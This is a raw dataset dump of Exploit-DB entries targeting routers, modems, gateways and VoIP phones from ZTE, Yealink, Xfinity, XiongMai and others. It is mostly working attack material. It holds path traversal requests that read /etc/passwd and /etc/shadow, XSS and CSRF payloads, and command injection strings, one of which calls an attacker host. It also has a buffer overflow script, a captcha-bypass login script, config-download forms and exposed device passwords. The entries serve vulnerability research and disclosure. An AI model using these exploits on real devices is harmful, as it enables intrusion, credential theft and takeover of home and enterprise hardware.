deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45342
Description: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2018-09-06
Author: Hamit CİBO

Exploit:
# Exploit Title: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal
# Date: 2018-08-29
# Exploit Author: Hamit CİBO
# Vendor Homepage: http://endress.com
# Software Link: https://www.endress.com/en/Field-instruments-overview/System-Components-Recorder-Data-Manager/wirelesshart-gateway-fieldgate-swg70
# Version: SWG70 3.X
# Tested on: Windows
# CVE :

# PoC
# Request

POST /fcgi-bin/wgsetcgi HTTP/1.1
Content-Length: 129
Content-Type: application/x-www-form-urlencoded
Referer: {Target}
Cookie: ********
Host: {Target}
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.21(KHTML,like Gecko)Chrome/41.0.2228.0 Safari/537.21
Accept: */*

action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand

# Response

HTTP/1.1 200 OK
Date: Fri, 13 Mar 1970 17:13:58 GMT
Server: Apache
Cache-Control: no-cache
Keep-Alive : timeout=15,max=100
Connection : Keep-Alive
Content-Type : text/plain
Content-Length : 333

root:x:0:0:root:/root:/bin/sh
ftp:x:11:101:ftp user:/home:/bin/false
www:x:12:102:www user:/home:/bin/false
sshd:x:13:100:SSH Server:/var/run/sshd:/bin/false
service:x:500:100:Service User:/home:/bin/sh
Exploit-DB #36865
Description: Xavi 7968 ADSL Router - '/webconfig/lan/lan_config.html/local_lan_config?host_name_txtbox' Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2012-02-21
Author: Busindre

Exploit:
source: https://www.securityfocus.com/bid/52098/info
 
Xavi 7968 ADSL Router is prone to cross-site scripting, HTML-injection and cross-site request forgery vulnerabilities.
 
The attacker can exploit the issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, or perform certain administrative functions on victim's behalf. Other attacks are also possible.
 
http://www.example.com/webconfig/lan/lan_config.html/local_lan_config?ip_add_txtbox=www.example2.com&sub_mask_txtbox=255.255.255.0&host_name_txtbox=Hack<SCRIPT>alert(document.cookie)</script>&domain_name_txtbox=local.lan&mtu_txtbox=1500&next=Apply
Exploit-DB #40982
Description: Xfinity Gateway (Technicolor DPC3941T) - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2016-08-09
Author: Ayushman Dutta

Exploit:
# Exploit Title: CSRF XFINITY Gateway product Technicolor(previously Cisco) DPC3941T
# Date: 09/08/2016
# Exploit Author: Ayushman Dutta
# Version:  dpc3941-P20-18-v303r20[PII_REDACTED]13a-CMCST
# CVE : CVE-2016-7454

The Device DPC3941T is vulnerable to CSRF and has no security on the entire
admin panel for it.
Some of the links are at:

<IP Address>/actionHandler/ajax_remote_management.php
<IP Address>/actionHandler/ajaxSet_wireless_network_configuration_edit.php
<IP Address>/actionHandler/ajax_network_diagnostic_tools.php
<IP Address>/actionHandler/ajax_at_a_glance.php

A simple HTML page with javascript on which the attacker lures the victim
can be used to change state in the application.

<html>
<head>
<title>
Lets CSRF Xfinity to change Wifi Password
</title>
</head>
<script>
function jsonreq() {
var json_upload = "configInfo=" + JSON.stringify({"radio_enable":"true",
"network_name":"MyName", "wireless_mode":"a,n,ac",
"security":"WPAWPA2_PSK_TKIPAES", "channel_automatic":"true",
"channel_number":"40", "network_password":"password",
"broadcastSSID":"true", "enableWMM":"true", "ssid_number":"1"});
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.open("POST","
http://10.0.0.1/actionHandler/ajaxSet_wireless_network_configuration_edit.php",
true);
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
xmlhttp.send(json_upload);
}
jsonreq();
</script>
</html>
Exploit-DB #40856
Description: Xfinity Gateway - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2016-12-02
Author: Gregory Smiley

Exploit:
# Exploit Title: Xfinity Gateway: Remote Code Execution
# Date: 12/2/2016
# Exploit Author: Gregory Smiley
# Contact: gsx0r.sec@gmail.com
# Vendor Homepage: http://xfinity.com
# Platform: php

The page located at /network_diagnostic_tools.php has a feature called test connectivity, which is carried out through a post request to /actionHandler/ajax_network_diagnostic_tools.php. The parameter destination_address is vulnerable to command injection.

PoC:

POST /actionHandler/ajax_network_diagnostic_tools.php HTTP/1.1
Host: 10.0.0.1
User-Agent:
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://10.0.0.1/network_diagnostic_tools.php
Content-Length: 91
Cookie: PHPSESSID=; auth=
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive

test_connectivity=true&destination_address=www.comcast.net || ping -c3 attackerip; &count1=4


If you open up wireshark and set ip.dst==attackerip and icmp you will see that the router issues 3 icmp echo requests, proving successful command injection.  This can be leveraged to completely compromise the device.

This vulnerability is also particularly dangerous because there is no CSRF protections in this application as demonstrated here https://www.exploit-db.com/exploits/40853/
Exploit-DB #44864
Description: XiongMai uc-httpd 1.0.0 - Buffer Overflow
Type: webapps
Platform: hardware
Date: 2018-06-08
Author: Andrew Watson

Exploit:
# Exploit Title: XiongMai uc-httpd 1.0.0 - Buffer Overflow
# Date: 2018-06-08           
# Exploit Author: Andrew Watson
# Software Version: XiongMai uc-httpd 1.0.0
# Vendor Homepage: http://www.xiongmaitech.com/en/
# Tested on: KKMoon DVR running XiongMai uc-httpd 1.0.0 on TCP/81
# CVE ID: CVE-2018-10088
# DISCLAIMER: This proof of concept is provided for educational purposes only!
 
#!/usr/bin/python
 
import socket
import sys
 
payload="A" * 85
 
print "\n###############################################"
print "XiongMai uc-httpd 1.0.0 Buffer Overflow Exploit"
 
if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " <Host>\n"
    sys.exit()
 
print "\nTarget: " + sys.argv[1]
print "Sending exploit..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],81))
s.send('POST /login.htm HTTP/1.1\r\n')
s.send('command=login&username=' + payload + '&password=PoC\r\n\r\n')
s.recv(1024)
s.close()
print "\nExploit complete!"
Exploit-DB #25811
Description: YeaLink IP Phone Firmware 9.70.0.100 - Phone Call
Type: webapps
Platform: hardware
Date: 2013-05-29
Author: b0rh

Exploit:
# Exploit Title: [YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone
call vulnerability]
# Date: [05-28-2013]
# Exploit Author: [b0hr (francisco<[at]>garnelo.eu)]
# Vendor Homepage: [http://yealink.com]
# Software Link: [
http://yealink.com/product_list.aspx?BaseInfoCateId=147&CateId=147&ProductsCateID=147
]
# Version: 9.70.0.100 and lower]
# Tested on: [YeaLink IP Phone SIP-T20P and SIP-T26P (hardware VoIP
phone)]
# Vulnerability : [It's possible to make calls from using the first
available sip account, without supervision or confirmation of the user,
also the call receiver can listen through the phone mic .]

#!/usr/bin/python
 
import urllib2, sys
 
print "\n YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone call vulnerability - b0rh (francisco<[at]>garnelo.eu) - 2013-05-28 \n"

if (len(sys.argv) != 3):
    print ">> Use: " + sys.argv[0] + " <IP Phone> <phone number>"
    print ">> Ex: " + sys.argv[0] + " 127.0.0.1 123456789\n"
    exit(0)
 
IP = sys.argv[1]
num = sys.argv[2]
UrlGet_params = 'http://%s/cgi-bin/ConfigManApp.com?Id=34&Command=1&Number=%s&Account=0&sid=0[PII_REDACTED]69738' % (IP, num)
webU = 'user'
webP = 'user'

query = urllib2.HTTPPasswordMgrWithDefaultRealm()
query.add_password(None, UrlGet_params, webU, webP)
auth = urllib2.HTTPBasicAuthHandler(query)
log = urllib2.build_opener(auth)


urllib2.install_opener(log)

queryPag = urllib2.urlopen(UrlGet_params)

print "\n Call to %s form IP phone %s\n" %(num,IP)
Exploit-DB #50509
Description: YeaLink SIP-TXXXP 53.84.0.15 - 'cmd' Command Injection (Authenticated)
Type: webapps
Platform: hardware
Date: 2021-11-11
Author: tahaafarooq

Exploit:
# Exploit Title: YeaLink SIP-TXXXP 53.84.0.15 - 'cmd' Command Injection (Authenticated)
# Date: 11-10-2021
# Exploit Author: tahaafarooq
# Vendor Homepage: https://www.yealink.com/
# Version: 53.84.0.15
# Tested on: YeaLink IP Phone SIP-T19P (Hadrware VOIP Phone)

Description: 

Using Diagnostic tool from the Networking Tab to perform a Ping or Traceroute , to perform OS command injection

POC:

POST /servlet?m=mod_data&p=network-diagnosis&q=docmd&Rajax=0[PII_REDACTED]11929 HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 49
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/servlet?m=mod_data&p=network-diagnosis&q=load
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=9a83d24461329a130
Connection: close

cmd=; id;&token=[PII_REDACTED]c6acea98

-------------------------------------------------

HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
Date: Wed, 10 Nov 2021 14:20:23 GMT
Server: embed httpd
Content-Length: 82

<html>
<body>
	<div id="_RES_INFO_">
            uid=0(root) gid=0(root)
        </div>
</body>
</html>
Exploit-DB #33740
Description: Yealink VoIP Phone SIP-T38G - Local File Inclusion
Type: webapps
Platform: hardware
Date: 2014-06-13
Author: Mr.Un1k0d3r

Exploit:
Title: Yealink VoIP Phone SIP-T38G Local File Inclusion
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5756, CVE-2013-5757

Description:

Web interface contain a vulnerability that allow any page to be included.
We are able to disclose /etc/passwd & /etc/shadow

POC:
Using the page parameter (CVE-2013-5756):
http://
[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
http://
[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

Using the command parameter (CVE-2013-5757):
http://[host]/cgi-bin/cgiServer.exx?command=dumpConfigFile("/etc/shadow")

*By viewing the shadow file we are able to conclude that cgiServer.exx run
under the root privileges. This lead to CVE-2013-5759.
Exploit-DB #49737
Description: ZBL EPON ONU Broadband Router 1.0 - Remote Privilege Escalation
Type: webapps
Platform: hardware
Date: 2021-04-02
Author: LiquidWorm

Exploit:
# Exploit Title: ZBL EPON ONU Broadband Router 1.0 - Remote Privilege Escalation
# Date: 31.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.zblchina.com http://www.wd-thailand.com

Vendor: Zhejiang BC&TV Technology Co., Ltd. (ZBL) | W&D Corporation (WAD TECHNOLOGY (THAILAND))
Product web page: http://www.zblchina.com | http://www.wd-thailand.com
Affected version: Firmwre: V100R001
                  Software model: HG104B-ZG-E / EONU-7114 / ZBL5932C CATV+PON Triple CPE
                  EONU Hardware Version	V3.0
                  Software: V2.46.02P6T5S
                  Main Chip: RTL9607
                  Master Controller, Copyright (c) R&D

Summary: EONU-x GEPON ONU layer-3 home gateway/CPE broadband
router.

Desc: The application suffers from a privilege escalation
vulnerability. The limited administrative user (admin:admin)
can elevate his/her privileges by sending a HTTP GET request
to the configuration backup endpoint or the password page
and disclose the http super user password. Once authenticated
as super, an attacker will be granted access to additional and
privileged functionalities.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5467
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5647.php


31.01.2021

--


Get config file and disclose super pwd:
---------------------------------------

POST /HG104B-ZG-E.config HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Content-Length: 42
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.1.1/system_configure.asp
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,mk;q=0.8,sr;q=0.7,hr;q=0.6

CMD=CONFIG&GO=index.asp&TYPE=CONFIG&files=


...
  #web_1
    user_web_name=super
    user_web_[CREDENTIAL_REDACTED]
...


Disclose super pwd from system pwd page:
----------------------------------------

GET /system_password.asp
Host: 192.168.1.1

...
var webVars = new Array( 'HG104B-ZG-E', '1', '0','2;1;2');
var sysadmin = new Array('600','1;super;www168nettv','1;admin;admin');
...
Exploit-DB #38772
Description: ZTE ADSL ZXV10 W300 Modems - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2015-11-20
Author: Karn Ganeshen

Exploit:
# Exploit Title: [ZTE ADSL ZXV10 W300 modems - Multiple vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.zte.com.cn]
# Versions Reported: [W300V2.1.0f_ER7_PE_O57 and W300V2.1.0h_ER7_PE_O57]

*CVE-ID*:
CVE-2015-7257
CVE-2015-7258
CVE-2015-7259

*Note*: Large deployment size, primarily in Peru, used by TdP.

1 *Insufficient authorization controls*
*CVE-ID*: CVE-2015-7257
Observed in Password Change functionality. Other functions may be
vulnerable as well.

*Expected behavior:*
Only administrative 'admin' user should be able to change password for all
the device users. 'support' is a diagnostic user with restricted
privileges. It can change only its own password.

*Vulnerability:*
Any non-admin user can change 'admin' password.

*Steps to reproduce:*
a. Login as user 'support' password XXX
b. Access Password Change page - http://<IP>/password.htm
c. Submit request
d. Intercept and Tamper the parameter ­ username ­ change from 'support' to
'admin'
e. Enter the new password ­> old password is not requested ­> Submit
> Login as admin
-> Pwn!


2 *Sensitive information disclosure - clear-text passwords*
*CVE-ID*: CVE-2015-7258
Displaying user information over Telnet connection, shows all valid users
and their passwords in clear­-text.

*Steps to reproduce:*
$ telnet <IP>
Trying <IP>...
Connected to <IP>.
Escape character is '^]'.
User Access Verification
Username: admin
Password: <­­­ admin/XXX1

$sh
ADSL#login show                 <--­­­ shows user information
Username Password Priority
admin        password1 2
support      password2 0
admin         password3 1

3 *(Potential) Backdoor account feature - **insecure account management*
*CVE-ID*: CVE-2015-7259
Same login account can exist on the device, multiple times, each with
different priority#. It is possible to log in to device with either of the
username/password combination.

It is considered as a (redundant) login support *feature*.

*Steps to reproduce:*
$ telnet <IP>
Trying <IP>...
Connected to <IP>.
Escape character is '^]'.
User Access Verification
User Access Verification
Username: admin
Password: <­--­­ admin/password3

$sh
ADSL#login show
Username  Password  Priority
admin  password1  2
support  password2  0
admin  password3  1

+++++
-- 
Best Regards,
Karn Ganeshen
Exploit-DB #36978
Description: ZTE F660 - Remote Configuration Download
Type: webapps
Platform: hardware
Date: 2015-05-11
Author: Daniel Cisa

Exploit:
/*
Exploit Title   : ZTE remote configuration download
Date            : 09 May 2015
Exploit Author  : Daniel Cisa
Vendor Homepage : http://wwwen.zte.com.cn/en/
Platform        : Hardware
Tested On       : ZTE F660
Firmware Version: 2.22.21P1T8S
--------------------------
 Config remote download
--------------------------
ZTE F660 Embedded Software does not check Cookies And Credentials on POST
method so
attackers could download the config file with this post method without
authentication.

*/
<html>
<body onload="document.fDownload.submit();">
<form name="fDownload" method="POST" action="
http://192.168.1.1/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch"
enctype="multipart/form-data" onsubmit="return false;">
Request Sent....
<input type="hidden" name="config" id="config" value="">
</body>
</html>
Exploit-DB #46102
Description: ZTE MF65 BD_HDV6MF65V1.0.0B05 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-01-09
Author: Nathu Nandwani

Exploit:
# Exploit Title: Reflected Cross-Site Scripting on ZTE MF65
# Date: 01/09/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Vendor Homepage: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009483
# Version: BD_HDV6MF65V1.0.0B05
# Tested on: Windows 10 x64
# CVE: CVE-2018-7355

*Description

The Mobile Hotspot having the said firmware version doesn’t sanitize the input argument "cmd" used in the page "/goform_get_cmd_process". A malicious input held by the parameter in the URL could result to client-side script execution or HTML code injection.

*Proof of Concept

http://192.168.0.1/goform/goform_get_cmd_process?multi_data=1&isTest=false&cmd=<b>ZTE_MF65_HTML_INJECT</b>
http://192.168.0.1/goform/goform_get_cmd_process?multi_data=1&isTest=false&cmd=<script>alert(1)</script>

*Mitigation

None - ZTE recommends upgrading to a new product (http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009483)
Exploit-DB #35128
Description: ZTE Modem ZXDSL 531BIIV7.3.0f_D09_IN - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2014-10-31
Author: Ravi Rajput

Exploit:
# Exploit Title: ZTE Modem Stored XSS Vulnerability
# Date: 30-10-2014
# Exploit Author: Ravi Rajput aka Gr3y n00b IHT team
# Version: ZXDSL 531BIIV7.3.0f_D09_IN
# Software Link:http://wwwen.zte.com.cn
#Tested on : Windows 7
# code :

GET /ntwksum2.cgi?ntwkPrtcl=3&enblService=1&serviceName=%3Cscript%3Ealert(0)%3C/script%3E HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/enblbridge.html
Cookie: ls_google_allow=1; ls_iserver_timestamp_bnc_bsaved=[PII_REDACTED]51; ctx1420m06d05=7b[PII_REDACTED]657373223a302c226c6f675f[PII_REDACTED]65223a307d
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive

Attack details :
The variable aerviceName  has been set to simple payload <script>alert(0)</script>
Exploit-DB #48801
Description: ZTE Router F602W - Captcha Bypass
Type: webapps
Platform: hardware
Date: 2020-09-10
Author: Hritik Vijay

Exploit:
# Exploit Title: ZTE Router F602W - Captcha Bypass 
# Exploit Author: Hritik Vijay (@MrHritik)
# Vendor Homepage: https://zte.com.cn
# Reported: 2019-06-14
# Version: F6x2W V6.0.10P2T2
# Version: F6x2W V6.0.10P2T5 
# Tested on: F602W 
# CVE: CVE-2020-6862

Background
-----------
Captcha is used to make sure the form is being filled by a real person
than an automated script. This is a very popular safety measure and
bypassing it could lead to potential compromise.

Introduction
------------
While logging in to the affected device you are presented with a
username, password and captcha field. Submitting the form results in an
HTTP request being sent out to /checkValidateCode.gch to validate the
captcha, if valid it goes on to really submit the login request. This
can be easily bypassed as this is a client side verification. One can
always ignore the response and proceed to forcefully submit the form via
Javascript (via calling the subpageSubmit() method).
A typical login request looks like this:

POST / HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Connection: close
Cookie: _TESTCOOKIESUPPORT=1
Upgrade-Insecure-Requests: 1

frashnum=&action=login&Frm_Logintoken=2&Username=admin&[CREDENTIAL_REDACTED]=literally_anything

Though, firing the same request twice fails with a text on the top
saying "Error". This pretty much defeats our purpose. It turns out that
on every login attempt, the parameter Frm_Logintoken gets incremented by
one and is required to match the server side value. This can pretty
easily be achieved by some pattern matching. Thus allowing any script
to bypass the captcha and log in.

Threat
-------
A captcha bypass can really help in bruteforcing the credentials but
luckily the router limits the login trials to 3 attempts. In real
world though, things are a bit different. 
The affected ZTE router comes with a default password. Given that the 
devices on a same ISP network can access each other, it would be a 
matter of time before someone writes a script to log in to every router 
in the network and take control of it.

PoC
-------

#!/bin/bash

SERVER=192.168.1.1
USER="admin"
PASS="admin"

getToken(){
	curl -s  --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER | grep 'Frm_Logintoken")' | cut -d\" -f4
}

Frm_Logintoken=`getToken`

s=$(curl -sv --data "frashnum=&action=login&Frm_Logintoken=$Frm_Logintoken&Username=$USER&Password=$PASS" --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER -w "%{http_code}" -o /dev/null 2> /tmp/zte_cookie)
if [[ $s -eq 302 ]]; then
	echo "Logged in"
	echo "Open http://$SERVER/start.ghtml"
	echo `grep -o Set-Cookie.* /tmp/zte_cookie`
else
	echo "Failed"
fi
Exploit-DB #43188
Description: ZTE ZXDSL 831CII - Improper Access Restrictions
Type: webapps
Platform: hardware
Date: 2017-11-27
Author: Ibad Shah

Exploit:
# Exploit Title: ZTE ZXDSL 831 Unauthorized Configuration Access
# Date: 27/11/2017
# Exploit Author: Ibad Shah
# Vendor Homepage: zte.com.cn
# Software Link: -
# Version: - ZXDSL - 831CII
# Tested on: Windows 10
# CVE :- 2017-16953

======================================= 
The Router usually servers html files & are protected with HTTP Basic
Authentication. However, the CGI files does not protect this file from
getting exposed to public. A Simple GET request would be needed to
made to router that would give a remote attacker an opportunity to
modify router PPPoE configurations, setup malicious configurations
which later could lead to disrupt network & its activities.


Proof Of Concept
================
http://192.168.1.1/connoppp.cgi